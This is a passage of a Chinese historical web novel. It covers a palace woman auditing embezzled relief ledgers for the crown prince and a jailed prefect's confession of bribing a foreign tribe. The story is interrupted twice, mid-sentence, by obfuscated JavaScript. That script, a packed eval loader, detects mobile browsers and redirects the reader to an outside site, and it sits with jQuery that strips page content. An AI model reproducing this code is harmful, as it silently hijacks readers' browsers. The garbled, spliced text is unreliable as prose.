她低头看一看自己，分明是再寻常不过的宫人打扮，他还能揪出什么错处来？ 怎奈他道：“此间事未了，近来还须得出几趟门，还是依照昨日那身罢。” “哦。”竺影随口应了，转身道，“那我回去换了。” 孟闻叫住她道：“不过也不着急，今日不出门了，先用饭罢。叫你过来，是因这里还有一笔烂账，等着你来看。” 什么好账烂账，竺影不禁哑然失笑，她当初不是个女史吗？又不是什么太府寺卿，怎么还要帮他管财货出纳？ 她摇头兼摆手，竭力敷衍道：“殿下您想多了，我不会看账本，看不懂的。” 他举着账本，见了她也觉好笑：“你是鼗鼓*成精么？只知摇头？” 竺影道：“殿下，我当真的不懂这些。” 睢言道：“不懂也无妨，下次学学怎么把假话说得像真话。” 他好不讲理，起身便回房中。 竺影独坐在一桌留有余温的肴馔前，想破了脑袋也想不出来，到底是谁出卖了她，不然此人怎会知她底细？ 她善数算，善著文章，还要从她那爱偷懒的兄长说起。 竺清曾在太学读书时，常常打着教习家中女弟的名义，将他自己的课业拿给她做，其中不乏策论、术算之类的题目。总催她当日写了，他第二日收走，拿去学宫交差。 无数个挑灯破题的夜晚过后，竺影才后知后觉，她被那纨绔兄长诓骗了好久。 不过从中习得小艺，往后跟母亲学习如何持家管账，也就信手拈来。算不上吃亏。 更别提现如今她一家都流放交州，纵使竺影想计较，也无甚机会了。 趁着天没完全黑，她仓促用完晚饭，蹑足往主屋。 绫罗帐里灯如昼，孟闻在灯下翻书。 “殿下。”竺影掀开斑竹帘走进去，烛火晃了晃。 他没有抬头看见她，只是在一阵风经过时，随口道：“坐罢。” 书案旁只剩一张筵席空着，一眼便知是给她空着的，竺影落座时，便也从善如流。 他此前拿的账簿就摆在案上，一本银钱流水，一本货物抄账。 “这账簿是梁氏呈的公帐，朝中拨给云琅郡的钱粮花去了何处，每日放赈多少，受赈人户几何，都记在这一本册子上了。”孟闻点了点桌上那本，另递过一本账来，说道，“这本是容侍郎送来的，记了骆门前两月的支 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她刚要把这烫手的册子放回原处，他反推了珠算过来，耐心道：“今夜可看得完？若是赶不及，可以给你找几个帮手。” 竺影正欲点头，想说此等国之大事还是交由旁人来办罢了。 他却又道：“就在隔壁客院里，几位大人尚未就寝，你自己去挑。” 她顿时语塞，继而如鼗鼓摇头。 她有多大脸面，能请得动使臣？况且使臣白日里忙着督责救济，安抚灾伤，有司自有正事要做。 孟闻道：“那就慢慢算。若是算得好，回京我便向陛下建言，把太府卿踹了，换你来当。” 竺影知道这是玩笑话，还是忍不住瞠目看他，仿佛在追问：殿下，你很希望我死吗？ 对上她满是绝望的眼神，孟闻一句玩笑带过：“哦——不想当啊，至多也只能给你涨点俸禄了。” “殿下，您太抬举我了。”她仍旧推辞，执意将那账簿放下。只惜没能落到桌上，不偏不倚地落到他掌中，悬于半空。 他托起竺影的腕骨，不见了方才的耐心，取而代之的是厉声恫吓。 “还是说——你不敢开罪这府里的主人，故而选择得罪我？” 他脸色变得也快，竺影吓了一跳，慌忙抽出手来，嗫嚅道：“怎、怎么会呢？我又怎么敢违拗殿下？” 睢言观她垂首的模样，冷道：“这般磨蹭，是要等我亲自为你置笔研墨吗？” 她抬头偷偷窥一眼，见他拂袖危坐，阴骘面上，一双眼冷冷望着她，不单单是威胁，便又很快低下头去了。 直接挑明了说，不论得罪哪方，她横竖都是一死啊。 竺影心一横把账簿往案上一摔，一边展开扉页，一边咬牙切齿道：“算算算，我算还不成吗？” 展开细看时，才发现这本流水上有圈有点，说明已经有人核过帐了。 指尖打得算珠噼里啪啦响，心里不停破口大骂，一面骂梁叡，说是烂账，真是一点也不不为过。一面骂太子，钱也不过金数两，名也不过纸半张，且不说这两样他都给不起，还要把她的性命悬在刀口上。 当然还是后者被骂更多。 骂到一半，不对，是算到一半，孟闻又嗤她道：“算盘打得这样响，是生怕梁府的人听不见么？” 竺影收敛了力道，动静才小些。 正要伸手去拿毛笔，发觉笔砚都被他端了去。 跳动的烛火下，他低眉信手，正执一块墨条，细细研磨墨汁。 等她再抬头时，他便递过来一支笔，此时才肯同她解释：“你安心算账便是，不必有后顾之忧，我本就不是奔着揭发梁叡去的。不过是想拿今年的账，同往年的比一比，我想知道当年究竟是贪了多少，才能使得北地二州一十八郡，溃于蚁穴。” 竺影接住毛笔的手一顿，嗔怪看他一眼。也不知这人得了什么怪病，好端端非要来吓一吓她。 这会虽没有那么多忌惮了，便又开始认真查账。 孟闻捧着另一本不知名的册子翻开，另有他的事要忙。 竺影是个心思极细腻的人，每一笔支出都要反反复复比对推敲了，看它是否落到了实处。朝中拨来的赈灾粮何时入的库，何日出了库，何人负责分发的、运至各县乡时损耗多少。那些粮食是怎么分发下去的，隔几日分发，每人每户发了多少，赈粮的当日又有多少人来领了……诸如此类，一道道算下去。 但使有一条讲不清楚来龙去脉，前前后后对不上的，便是一笔有问题的账。她都提笔蘸朱墨圈，随后誊到另一张纸上。 就这么一条条罗列下来，便成了密密麻麻的罪状。 一夜都在烛火哔剥与算盘声中度过，她白日里睡得够久，晚上便不知疲倦了。 及至计完这笔烂账，搁下笔时，屋外仍是昏黑一片。 屋里没有刻漏，不知眼下是三更天还是五更天了。 灯芯浸在半盏膏油里，有几盏几近熄灭，灯火比她来时昏暗。竺影拿笔头挑了灯芯，使其燃得更亮。 回身时见太子坐在书案另一头，一手支额，眼睫低垂着，像是睡着了。 她凑过去小声唤了一句：“殿下。” “好。”他慢慢睁开眼，四目相对时，反把她吓了一大跳。 “算到哪儿了？”他不疾不徐支撑坐起。 竺影道：“物抄与流水算完了，剩下的没来得及看。” 她将誊抄好的几页纸整理了，双手呈上。毫不夸张道：“前前后后腾挪互抵过，账上的与实际其实也没差多少，只差了这么一点罢了。” 她伸出手来，两指之间比划出寸余的距离。 孟闻半信半疑地接了，却看着她算出的那笔不小的数目，愣了少顷。 出处与无法完全落实的十几笔，记有十万石粮。更有四万石粮及二十万银两不知去向。 夜书所见，银钱似流水，粮食如沙扬。 他又转头看竺影，迟疑半刻道：“你——不曾算错吧？” 太子殿下果然忘本，居然率先怀疑他身边最勤恳本分的女官。 “也有可能是我算错了，错枉了梁中正。” 她那急于推脱，不敢笃定的样子，竟显得谦逊万分。 “殿下明日去查一查，他的库里是不是还剩下这些，就知这帐有没有错了。” 云琅的官仓里是一粒粟也不剩了，至于梁氏与其他士族的私仓，他当然不会去查。 孟闻道：“且待明日再看看，他肯吐出来多少。” 他已有两日未安寝，疲于奔波，此时此刻还立在灯台前，暗自思量。 竺影跟他不一样，被抓来做了一夜苦力，她着急回去休息。 她困得身躯摇摇晃晃，上下眼皮暧昧地打过好几次照面，仿佛他再晚半刻答应，她就能直接睡倒在席上。 “殿下，那我能走了吗？” “嗯。” “多谢殿下，小人告辞。” 睢言方一点头，余下的话没说出口，她早提起裙裾到了门边上。 简直比逃命还惊惶。 33. 拟行路难（三） 岑寂的夜幕里，院外仍悬明灯，尚有护卫守在院墙外。更远处传来稀疏脚步声，应是有仆从在夜巡。 竺影从主屋里出来，轻手轻脚推门回屋，还是把浅睡的翡儿吵醒了。 翡儿在榻上翻了个身，小声咕哝道：“竺姊姊，这么晚才回来啊。” “抱歉，吵到你了。”竺影淡淡应声。 翡儿道：“真羡慕你啊——” 竺影安安静静听她嘴里冒出的鬼话。 “姊姊懂得的多，总能为殿下排忧解难，只是未免要辛苦些，正所谓能耐越大……能耐越大嘛。” 她说这话时，一半清醒着，一半又回了梦里。本来想出言安慰，一出口成了稀里糊涂的梦话。 竺影无心听罢，又解衣躺下。 难得有时间沾枕，却怕作息就此颠倒，不敢睡太久。 翌日晨起梳洗，见妆镜台下摆着衣案，案上一套新的褶衣罗裤，便知今日还要出门。 前院不设筵席，主家命人往后院来送膳食，太子殿下与一众官员用罢早膳，又将前往其余的郡治核实灾情。 瞿太守照太子吩咐的做了，一旦以名利诱之，梁氏果然愿意捐粮，拿出了足足两万石？并州其他有名望的士族纷纷效法，多多少少也捐了一些。 这几日各地纷纷设了粥棚，依旧按常例发放粮食。消息一经传出，离乡逐食的饥民开始折返，回到故土，却有不少不堪冻馁的，已死在了半道上。 州府另又拿出一笔银钱，雇用劳工安葬无主亡者，修建避难所。 历年朝中派使臣前去安抚灾伤，所做的无外乎如此。 各项措施施行下去之后，民生渐渐好转，乡间道路旁，不见那么多饿死骨与流民了。 只是这位太子殿下似乎仍不满足。 梁中正一时半刻摸不着头脑，于是只能亲自督促童仆，不敢在饮食起居上怠慢半分，近日准备的肴膳也是仿着宫中的规制，极近柔嘉，奉着上好的茶，熏着名贵的香料。 已经过去好几日了，梁叡仍是得不到太子殿下的好脸色。 再这样下去，等殿下回了朝中毁谤他半句，他这仕途不就止步于此吗？ 于是愈加着急，他在给太子献殷勤一事上，愈加“变本加厉”、锲而不舍了。 尽管太子身边的宫人早提醒过，殿下不喜奢靡，不必在饮食方面多费心思。梁睿偏偏反其道而行之。一顿折腾下来，太子殿下的脸色比从前更黑。 竺影也深受其害，孟闻时常抓她做苦力看账，她时不时便要到主屋去，那屋里香气浓的，怎么掸也掸不开。 也总算懂了，为何这几日回冷了，太子殿下却更情愿待在屋外。 再名贵的香料竟梁氏这么一烧，跟烧柴似的半点个不心疼，也难脱离一个俗字。 晌午，前院的仆从又捧了膳食送过来，七荤八素，跟昨日没什么区别。只不过食箸换成镶了玳瑁的象牙箸，盛菜的碟也由漆陶换作了金银器。 太子殿下提起筷子，叹了一口气，若不是梁府的婢子还垂首立在眼前，他怕是下一刻就要把筷子丢出去。 末了，也只是一口未动便投箸，无可奈何道：“无甚胃口，撤了罢。” 婢子问了怀镜道：“贵人姊姊，可是今日饭食不合太子殿下口味？太子殿下有何喜好，能否请贵人姊姊去问了，奴回去请庖厨重新做了送来。” 怀镜也只能摇头叹息：“第一日，我不就说过了吗？” 婢子懵懵懂懂的，回前院传话去了。 连竺影也看不下去了，举书掩了半张脸，笑得幸灾乐祸。 梁叡似乎不怎么通人性，猜不到太子殿下这怪人脑子里想的什么，除非他亲口告知了，不然梁中正只会变着法子地谄谀，在这条路上走到黑。 说蠢也不蠢，毕竟单单讨好太子一个人，要比安顿好云琅数万灾民付出的人力物力，少得多得多。 如果竺影没算错的话，送到云琅的赈灾银粮被贪了一半，吐出来的就只有两成。 孟闻心知肚明，却也不好发难。 现下他食不下咽，许是还在为那一大笔不翼而飞的钱粮发愁吧。 孟闻回屋换了身衣衫，正过衣冠。走出门来，看着檐下的竺影，道一句：“走了。” “哦。”竺影方丢下书，忙不迭跟去。 近几日都是如此，已成习惯。 太子殿下遣人办事的法子就是抓苦力，接连两日不见角音，竺影就成了那唯一的苦力。 随行官员里也有詹事府的，还是陛下亲自指给他的，他偏偏放着不用，不知是信不过还是怎么的，专逮着竺影一个人薅。 人在屋檐下，她暂且容让一番，等回了京城，势必要报复回去。 太子殿下今日不打算出城，竺影只随他在云琅城中巡看。 正午，离城门不远的地方支起粥棚，热粥刚出锅抬了过来，那处早就挤满了人。几个士卒费劲维持秩序，还是乱作一团。 饥民探出胳膊脑袋，使劲伸远了碗，分得一碗薄粥充肠，稀里糊涂下肚，碗底空了无法再续，便只得不舍地徘徊在四周，眼巴巴地看。 那点分量压根不足以饱腹，勉强吊着一口气活着罢了。 只怪上头的人，容让他们活着，永远吃不饱地活着，偏又让他们看见前头似有若无的希望，裹着饥肠辘辘前行。 使他们仅有心求存，无心造反。 太子这回没有去到人群中，而是站在人群中远远地看，一语不发。 竺影猜测，他最后一点未泯的良心，也将在短短几日后烟消云散。 这些事看多了，自然而然也就麻木了。 “同我讲讲，从前的云琅是什么样？”孟闻喑哑着声，突然道。 竺影道：“殿下，我已经讲过了呀。” 孟闻道：“再讲一遍也无妨。” 竺影便又开始娓娓叙说。她讲负者歌于途，行者休于树；讲牧童摘桃，樵者拾杏，讲遍古书古画上的渔樵耕读。待及她说到云琅的某位官员深得百姓爱重…… “爱重到何种程度？”她自问自答，“当他在严冬腊月病发时，百姓闻知消息，皆忍不住会为他落泪。” 刻薄的太子殿下听了，抛来句不轻不重的质疑：“是么？” 竺影反问：“殿下竟是不信吗？” 他说：“耳听为虚。” 思及过往种种，竺影苦笑：“殿下怕是难有眼见为实的机会了，今人又有几个，会在百姓受贫寒之苦时，为之落泪呢？” 眼前之人，他就做不到。 睢言转而笑问：“你说的这人，莫不又是鼎鼎大名的祝令君吧？” 她胸中酸闷着，来不及点头或摇头，只是为那人遭旁人误解而痛苦。 其实她想去辩驳。一经思量，还是选择不去做这无意义的事。 到最后，她一反常态笑答：“旧人旧事俱往矣，不再提也罢。今日在城里为民众捐粮施粥的可是梁氏啊，没准梁中正真能博得乡人感颂，勒碑刻铭念其功德。” 他听了，“哧”地笑了一声，嘲讽之意不言而喻。 又在城楼上伫足一会儿，看城中施罢粥粮，百姓大多散去。竺影也随他归往梁府。 刚刚绕过影壁，入了二门，梁中正便亲自迎来，端着一副谄谀之态，一路跟随着，仔仔细细向太子殿下汇禀并州的诸多事宜，事无巨细。 竺影看得出来，孟闻有些头疼，无外乎点头糊弄过去。 他也是一个戴着假面，依靠假言假语和虚情假意求存的人。 哪怕他此刻极其想将梁叡痛骂一顿，可还是忍住愤慨，违心称赞：“做得不错，若陛下听闻，定会对中正赞赏有加。只是还有一事，须得与中正提一提。” 梁叡听了前半句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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进屋合上门来，孟闻问道：“查得如何了？” “这几日属下带人前去边境守着，盯着那些行商的一举一动，果不其然守株待兔，截得几封国中与乌护往来的书信。”角音解释完，将信件一一呈给他看。 孟闻读罢了信，忽然冷地一嗤：“看来账上那些不知去处的钱粮，已找着下落了。” 却不是个好消息。 因着信里有一条比贪腐更重的罪——卖国。 密信当中写得明明白白，并州官员每年都向乌护使者行贿，送去过冬所需粮草，以求边境宁佑，乌护便承诺不再来犯。 余下的四万石粮与二十万银两，便是被人拱手送给了乌护，再无法追回来。 须知这些只是今年送去的，岂料往年又送去了多少？ 来时只闻北方边境已有四年平和，谁能想到和平竟是以这样屈辱的方式换来的？ 起初太子知道了这一切，看到饿殍遍野，官仓被蠹虫吃得一空。他费尽心思去弥补，去追回，却发现四梁八柱都朽了，怎么补都补不回来。 世人发现白蚁时，便该猜到，其实那整根梁柱都已被蛀空了，但使你轻轻一碰，便会坍塌。 至于信上的卖国者何人？ 睢言的目光在信的末尾落定：云琅太守瞿良。 刚直凌厉的笔锋背后，却藏着他在外族侵略之下被压弯的脊骨。 逢此时，梁府的仆从进来同宫人传话：“劳贵人通传一声，便说是瞿太守在府外求见。” 怀镜将话带到太子殿下跟前。 孟闻收起密信，思及瞿良的孽行，不免冷下心来：“念他多年以来爱民勤政，更是亲自为百姓求粮，我本想保他，如今看来是保不住了，他怎么着都难逃一死。” 当下命怀镜去回了仆从：“叫他进来。” 须臾，太守经仆从牵引，到太子所居客院中。 正要找他问罪，他反自己送上门来。 34. 拟行路难（四） 瞿太守已被剥去官袍，打入牢狱里了。 竺影去时，只见一个头发斑白的中年人，颓然坐在监牢角落里。 暗室里无人，周遭寂静。 她缓缓走近，目光往更昏暗处探去。 太守尚未认罪，执拗地不面权贵，不愿抬头，竺影只得隔着牢门，远远唤一声：“瞿叔父。” “叔父……” 接连喊了几道，阶下囚才分来一个冷冷的眼神：“勿要这样称呼我。” “叔父是不记得我了吗？”竺影失落道，“遥想当年，我随父亲离了云琅进京，叔父还亲自到城外去送行。今日再见，叔父却说不记得。果真是时过境迁……连您也忘怀了。” “你、你……” 瞿太守眉脊骤然拧紧，瞬时摸爬起来，连带着稻草窸窣与锁链哐当的声音，几步摇摆到牢门前，扒着木柱想仔仔细细辨认竺影的脸。 “你是……竺清……”他看着竺影，声音发颤，“不对！” 竺影方想起来今日仍是一副男子装扮，她道：“我是竺影。” “是你啊，阿影，当年去京城时，你还这么小，如今竟都长大成人了。”瞿太守再睁开眼，想努力看清她时，花白的眉毛下，已是潸然泪下。 竺影道：“十年不见，叔父须鬓已皓然，可见多年劳苦。” 瞿太守抬手掩了面，只道：“我已是戴罪之身，不见功高，数年来不过空有劳苦。” 竺影道：“当年，父亲将叔父一手提拔起来，他对您很是赞赏。哪怕是在延都时，父亲也常常与我说，云琅郡瞿太守是个勤政爱民的好官。可是您怎么就落到了如今这般？” 竺影蹲下身来，温声劝道：“叔父能否与我诉吐，那些书信到底是怎么一回事？您到底为何要如此做？其间到底有何隐情？” 瞿太守一一答了。声泪俱下诉吐的，却是之前与太子说的那些话。 竺影不由惊愕了：“叔父当真糊涂啊！您怎么能、怎么能出此下下之策？” 若真如此，她何以去太子面前为他求情呢？ 瞿太守随后又哭：“我实不忍见云琅再生离乱，实不忍见百姓再遭苦厄。只得出此下策，别无他法！” 又一个别无他法，竺影深深叹了一口气，眼下她当真是别无他法了。 她艰难扶着木柱站直起身，垂眸视着发须花白的瞿太守，叹了又叹，似怎么也叹不尽胸中气愤与苦闷。 “不想——父亲竟也有看错人的时候啊。”竺影缓缓说道。她是后生，本不应对长辈出言叱责，可是连她也没想到，“我也从未想过有朝一日，您会变成这样的——迂腐。” 瞿太守仰起头看她，目光怔怔的，很快羞愧地低下了头。 太子斥他通敌卖国时，他不觉有悔恨；唯有故人也不理解他时，才像钝刀剜在他心上，剜得鲜血淋漓。 “阿影，连你也这样诛伐我罢。换做是任何一个人在任上，他都会这么做的啊。若是启了边衅，一场场仗打输了，云琅又拿什么来偿？”太守声音沙哑，低头诉哭时，现出一道佝偻的背脊，贯穿了起起伏伏地啜泣。 竺影早已分不清是愤恨还是惋惜，平复了良久才再度开口：“是我浅薄，不经官场，不懂得叔父的两难。可我只有一言，云琅的百姓，他们任何一人都可以这样想，唯独瞿叔父您不能。您是他们的衣食父母官，应该明白这不仅仅是一场食粮之争、领土之争，它还维系了我朝的尊严啊。我们的乡土蒙受了那么多耻辱，您又怎么能忍心弃了尊严，容让外族再一次践踏这片土地？难道只不让他们的兵马越境，便算不得侵略了吗？” 瞿太守不言。 竺影又道：“‘奉之弥繁，侵之愈急。’这些，难道不是叔父当初对我兄长的教诲吗？” 她记得真切，今又提起这话来。 “叔父与乌护示好之举，与‘今日割五城，明日又割十城’有何异？外族寻衅，大可以暂事羁縻，假意待之，再寻长远之计；却不可以自甘下位，弯了腰来，将国朝的来日葬送。小战虽败，不足以致国灭，天下不忘，社稷尚存，就一定会有打赢的时候。只有到那时，才是百姓安居乐业的起点。” 瞿太守又扯袖蒙了脸，揩去眼泪，哭道：“叔父有愧有悔，今失足在狱中，白白令你笑话。” 竺影望着他垂首的样子，心中酸涩不能言，回首当年，父亲含冤入狱之时，会否也是这样的惨淡光景？ 只是，她没有太多时间去感怀叹逝。 这样的沉默过去不多久，身后的门锁拉动，又有人亲身走入昏黑的地牢。回首，是一身锦衣玉冠，本是流光溢彩的锦缎，一走近就显得暗淡了，如蒙上了一层朦胧的灰。 “殿下。”竺影看了他一眼，大抵不满他的突然介入，却还是自觉站了起来，退至一旁行礼。 孟闻看向狱中人，脸上愠怒未消：“既知有愧，便将过往罪责一一供吐了罢，兴许还能亡羊补牢，为时未迟。” 他对待如今的瞿良，已经没有分毫礼重之意，生冷的语气硬是将人又挫矮了几分。 瞿太守隔着狱门行礼，向他深深一揖：“下官身死事小，边衅重启事大。下官已在狱中，触不得边境之事了。只怕长久维系的平衡被打破了，乌护岂能肯善罢甘休？允诺给他们的财帛粮草未能及时送到，他们必要来生事端。下官恳请殿下，务必要再此一事上，再三思量！” 孟闻道：“这些事我自有考量，府君既开了这个头，便也该料到今日结果。以贿求和我不能容，外族滋事我也不放过。” 竺影刚要说他好大的口气，梁朝与乌护积怨日深，并非一朝一夕能够和解，难道他不知边境一旦开战，要耗费多少财力兵力么？ 更别提来日还要修什么观星楼，国库哪里还拿得出钱？ 孟闻正色道：“此事朝中追责下来，不论是杀一儆百，还是杀一百，我都保不住你。毕竟祸从你这里开始。我本不欲同你多说些什么，却独独有一言想问——” 瞿太守道：“殿下请问罢。” 竺影以为他会问当年旧案的事，岂料他下一刻问的竟是：“若用府君一命，能换云琅三十万众的性命，府君愿意否？” 竺影与瞿太守皆怔住了。 他面上严肃，这并不是戏言，也并非作假。 “殿下！瞿太守纵有过错，殿下又何以至此？”竺影急急开口，一面想质问他，一面想叫他收回这番话。 她尚未来得及求情，太子一开口，就定下了旁人的死生。若是瞿太守应下了，岂不是再也没有回转的余地？ 刚刚上前两步，孟闻便抬手拦住了她，唯独看向牢狱里的人。 瞿太守顿了片刻，终于还是接受了现实，视死如归道：“若得如此，下官甘愿！只请殿下善待罪臣的家人，更护好云琅三十万众，除此以外……罪臣别无他求了。” 此刻的太守长拜不起，俨然一副俯首系颈的姿态，满头花发垂在禾草堆里。同他的声音一道颤颤巍巍。 竺影看得于心不忍，只得偏过了头去。 “极好。”孟闻点了点头，平静问他，“仅有这些吗？须知有些话带到了棺椁里头，就再不能诉诸于世了。” 瞿太守始终未曾抬头，只道：“罪臣没别的要说的了。” 孟闻移目看了竺影一眼，似在掂量她此前的话里是否掺假，却只见她别脸。孟闻复又看向太守道：“府君有所隐瞒，看来是心中对我怀怨。” 瞿太守道：“下官岂敢？” 孟闻漠然垂视，思量了片刻，便轻而易举揭过他的谎：“你怨我对梁叡贪腐无所作为，怨我对并州民生视若无睹，怨我在对待乌护一事上不计后果，更怨我是为重建观星楼，才会亲自到北地来。” 瞿太守仍一言蔽之：“下官岂敢？” 孟闻拿他无可奈何。他纵迂腐，可也固执。执拗地守着他所认为的正确的事理，也挺直脊梁去对抗他所不认同的一切。 对峙得久了，孟闻竟从眼前人身上，依稀看出一点旧人的影子。 “承认了也无妨，这些话我也从民间听到过。我也的的确确，未能做到尽善尽好。”孟闻缓缓开口，素来薄凉的口吻里，竟听出一丝悲戚。 “十二年前，外祖奉命督北地二州一十八郡军事，更是亲自督建了云琅城外那座观星楼。岂料宁朔八年并州遭逢天灾，赈灾银与粮草早早拨下，却迟迟不达，送到之时已是十不存一，这才致使数万百姓冻毙于大雪。后来，我只听闻，是朝中有人与外族勾结，教他们趁虚而入，夺去了那十一城。北地的繁荣就此一去不复。最后陛下震怒，下令一查，查出背后贪腐最多、勾结乌护的罪臣，竟是我的外祖。” 自观星楼始建，到它落成的四年间，孟闻未尝踏足过北地。 他远在京城，故而只能从生人的口中拼凑出北地过往。旁人却因忌讳很少提起，所以他了解到的故事稀碎，又不那么真实。 清隽的身影在监牢外踱步，丝履在泥地上来来回回地走，走得越久，鞋底积的泥就越多、越厚，脚步也越沉重。 瞿太守颤悠悠抬首，泪光又溢满眼眶中，问太子道：“敢问殿下外祖何人？” 孟闻道：“正是宁朔九年，为此担了责，下了狱的陆尚书。换做是从前，我自不会相信他一心为国为民，会犯下此等事来。定然是有人在背后构陷，推他出去顶责。如今看来，他怕是也守着与瞿太守一样的‘苦衷’，顽固不化，也不算被错枉了罢。” 竺影适才转头，偷偷窥他，这位太子殿下好像跟她想象中的不大一样。 啧，年纪轻轻的，心思藏得还挺深。 幸而她被此人诓骗多回，长了教训，不然也会像瞿太守一样，被他这番话欺诈了。 太守听过他的话，听到他对陆尚书的误解，终忍不住为之申辩：“当年真相并非如此！陆尚书此生正直忠良、绝奢崇俭，绝非世人口中的奸佞！殿下身为陆尚书的血脉之亲呐，怎可像不识真相的旁人一般，如此曲解他？叫他泉下含冤，何时得瞑目呐！” “哦？”孟闻垂下眼睑，星目眯得狭长，“此事莫非有隐情？府君知晓，可否告知？” 瞿太守道：“瞿良曾与友人折箭为誓，要守住当年的实情与证据，终有一日为忠良沉冤昭雪。还请太子殿下立下誓言，誓为宁朔八年蒙受冤屈的众臣翻案，还朝堂一片清明，更要还北地数十万百姓一个交代，否则瞿良宁死也不会吐露一言！” 孟闻当着他的面，立下誓言：“皇天在上，后土为证，我孟闻在此立誓，今得云琅太守告知真相，来日定会为宁朔八年蒙冤之臣昭雪，换三年以后改弦更张，根除国中蛀虫，昭清白于世，如此，府君是否情愿？” “若真能如此，罪臣瞿良虽九死而无怨！”瞿太守顿首，又质问道，“只是太子殿下对梁叡之徒姑息庇纵，眼前之蛀尚不能拔除，来日又何以兑现诺言？” 孟闻道：“蠹啄剖梁柱，非一朝一夕之事，若是房中檩条腐朽，尚可以更换；若是梁柱朽坏，一经拆除，势必会令整间屋室顷刻倒塌，是故在立起新的中流砥柱以前，只可徐徐图之，不可妄动。府君要我裁撤梁叡，查办中□□，此事我暂且不能应允。” 瞿良恍然抬头，再度泪流满面。他便是那朽坏的檩条，一经撤职谁人都可以顶上。至于梁叡、梁元颖之流，则是根深蒂固的梁柱…… 孟闻继续说道：“至于我所言之事，既然敢许诺，便一定会兑现。孤为大梁储君，一言九鼎。” 竺影站在他身后，悄悄落下欷歔一声。 瞿太守还是选择相信胆敢立誓的太子，交出了北地官员与乌护人往来的罪证。 竺影与孟闻在牢里一伫足，便是一个时辰，听瞿太守讲述完了所有北地前尘往事，凡是他所知晓的，一一吐露。 牢狱里阴湿，同时透着腐烂的气息，唯有讲述者眼中扑朔的泪光，汇成了黑暗里明亮的一点。长达七年的昏黑过往，到而今才见拨云见月。 瞿太守最后说起，他曾藏匿下一箱账簿，里面记载着云琅城将近十年的军费、工费开支。 两人后来离了州府大牢，去了瞿太守府邸，依照他的指引进到了书房下的暗道，道路尽头是一间暗室。 只是暗室有石门阻隔，门上落锁，经年累月的灰尘落在上面，连铁链都锈蚀斑斑。 “上锁了？”角音持剑上前翘了两下锁链，荡起厚厚的扬尘，还几人咳个不止。 竺影拦着他道：“先等等，请殿下容我再去问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733647|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一问瞿府君，他应是忘了说钥匙的事。” 角音直接摆手，叫她退开：“何须这么麻烦？我叫人把这石门凿开了便是。” 说着便要上手，拽得铁链哐当哐当响，动静实在太大。 孟闻拧起眉头，训斥角音：“同何人学的这般鲁莽？”遂同竺影道：“你且去问一问。” 竺影得以再度折返于牢狱中。 起初被太子打断，她还有太多的话来不及问出口，眼下他与角音不再跟过来了。 “瞿叔父。”竺影跟随狱卒下到牢狱里，又唤他一声，开门见山道，“我寻到了叔父说的地方，可是石门上落了锁。” 瞿太守这才开口，道：“钥匙，在你父亲那里。” 他果然还是留了一手，并未将一切筹码交付。 “我的父亲？”竺影迟疑了片刻，父亲却不曾与她交代过这些呀，难不成还得专程去一趟交州？于她而言，这可比回到北地要难得多。 瞿太守问道：“你的父亲他——他可还安好？” 起初他不敢问起，他怕故友已经离世，自己再一提起，便伤了竺影的心。 竺影平静道：“仍旧是在交州，我见不到，说不上好与不好。” “后来你入了宫，便再不得相见了么？”瞿太守又问，“祝家的那位郎君呢？这么多年来，他没有为你从中斡旋吗？若是此次回云琅的，是他便好了，我本该将那些旧物交付于他。” 不然何以耽搁到现在？ 他连连反问，本意是关心她，竺影却不知如何作答。 她只能为其遮掩：“此番太子巡游北地，督责济民，正是祝从嘉争取来的呀，他从未忘记过故里。若非他患病多年，身子大不如从前了，经不起长途跋涉，不然他一定会回来的。” 瞿太守听罢，也只得叹气：“想你与他——” 竺影知道他接下来要说什么，便急忙打断了他：“叔父不必为我的事叹恼，待我出去以后，会再去向殿下求情。您已告知了他实情，他怎么就不能网开一面？若是、若是还有转圜之机呢？” 其实她也觉得希望渺茫，但还是要为之争取，求那一线生机。 瞿太守面上挂着苦笑，点头应下，又说：“阿影，叔父还有一事，只能求你相帮。” 竺影道：“有什么事我能帮到的，叔父直言无妨。” 瞿太守道：“念我幼时丧父，孤苦无依，幸得乡亲衣食恩养，才得以安然成人。后得竺太常提携，在郡府谋得一官半职，本还想来日荣归故地，衣锦还乡。不想我今朝误入歧途，潦草狱中！事已至此，我已不能归乡，唯独放不下乡中父老，只求你替我修书一封，告知了他们实情罢！” 眼下没有纸笔，竺影便说道：“叔父有何要传达的话，便请说来，我一一记着，来日去往山池县，我必亲口转达。” 瞿良便说了，诉尽了对乡民的感激，又添了些遗言一般的话。 竺影心情沉重地听完、应下。 离开州府大牢，孟闻问她：“可曾问出来了。” 竺影摇了摇头，神色复杂。 角音在孟闻身后，自以为很小声地谏言：“像是有所隐瞒啊，殿下定要审一审她。” 被孟闻一眼瞪了回去。 竺影没心思偷听这对主仆的对谈，一路上都在想父亲交代过的事情，大多在这些年来交州与京城往返的书信里，事无巨细。 剩下的，便是父亲临行前交代的两件大事，一是关于祝家，二便是云琅旧宅一事了。 她后知后觉，想起来父亲说的那件藏于旧宅的东西，就是打开瞿府暗室的钥匙？ 兜兜转转，又回到她最初找寻的起点。 “殿下。”竺影突然停下脚步叫他。孟闻回过身来，她耐不住心中的激动，竟逾礼扯过他的衣袖，“我或许知道那间暗室的钥匙藏在何处了。” “在哪儿？”孟闻一瞥，不动声色地抽出袖角。 竺影不着急答，顾左右而言他：“只是在处置瞿太守一事上，当真不能留有余地吗？” 她知道法不容情，仍是抱有一丝希望。 孟闻冷冷嗤笑一声：“跟我谈条件吗？” 他一开口，就生生将她的希望浇灭了。 孟闻不为所动，转头吩咐角音：“我觉得直接拆门倒也不失为良策。” 竺影叹着气，还是妥协了。毕竟她才立过誓，不敢就此隐瞒。 